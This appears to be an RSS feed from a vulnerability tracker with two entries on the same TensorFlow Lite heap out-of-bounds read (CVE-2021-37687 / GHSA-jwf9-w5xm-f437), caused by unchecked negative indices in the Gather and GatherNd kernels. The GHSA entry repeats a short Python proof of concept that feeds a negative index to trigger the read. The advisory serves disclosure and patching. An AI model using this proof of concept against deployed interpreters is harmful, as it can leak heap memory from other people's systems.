https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 06:04:25 +0000 https://cve.radiocsirt.org/vuln/cve-2021-37687 <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite&#39;s [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`. Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc). We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.</p> <p><strong>Affected:</strong> tensorflow</p> <p>TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite&#39;s [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`. Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc). We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.</p> https://cve.radiocsirt.org/vuln/cve-2021-37687 https://cve.radiocsirt.org/vuln/ghsa-jwf9-w5xm-f437 <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact TFLite&#39;s [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation.</p> <p>Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.</p> <p>Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).</p> <p>```python import tensorflow as tf import numpy as np tf.compat.v1.disable_v2_behavior()</p> <p>params = tf.compat.v1.placeholder(name=&#34;params&#34;, dtype=tf.int64, shape=(1,)) indices = tf.compat.v1.placeholder(name=&#34;indices&#34;, dtype=tf.int64, shape=())</p> <p>out = tf.gather(params, indices, name=&#39;out&#39;)</p> <p>with tf.compat.v1.Session() as sess: converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out]) tflite_model = converter.convert()</p> <p>interpreter = tf.lite.Interpreter(model_content=tflite_model) interpreter.allocate_tensors()</p> <p>input_details = interpreter.get_input_details() output_details = interpreter.get_output_details()</p> <p>params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,)) indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=()) interpreter.set_tensor(input_details[0][&#39;index&#39;], params_data) interpreter.set_tensor(input_details[1][&#39;index&#39;], indices_data)</p> <p>interpreter.invoke() ``…</p> <p><strong>Affected:</strong> PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu</p> <p>### Impact TFLite&#39;s [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation.</p> <p>Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`.</p> <p>Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc).</p> <p>```python import tensorflow as tf import numpy as np tf.compat.v1.disable_v2_behavior()</p> <p>params = tf.compat.v1.placeholder(name=&#34;params&#34;, dtype=tf.int64, shape=(1,)) indices = tf.compat.v1.placeholder(name=&#34;indices&#34;, dtype=tf.int64, shape=())</p> <p>out = tf.gather(params, indices, name=&#39;out&#39;)</p> <p>with tf.compat.v1.Session() as sess: converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out]) tflite_model = converter.convert()</p> <p>interpreter = tf.lite.Interpreter(model_content=tflite_model) interpreter.allocate_tensors()</p> <p>input_details = interpreter.get_input_details() output_details = interpreter.get_output_details()</p> <p>params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,)) indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=()) interpreter.set_tensor(input_details[0][&#39;index&#39;], params_data) interpreter.set_tensor(input_details[1][&#39;index&#39;], indices_data)</p> <p>interpreter.invoke() ``…</p> https://cve.radiocsirt.org/vuln/ghsa-jwf9-w5xm-f437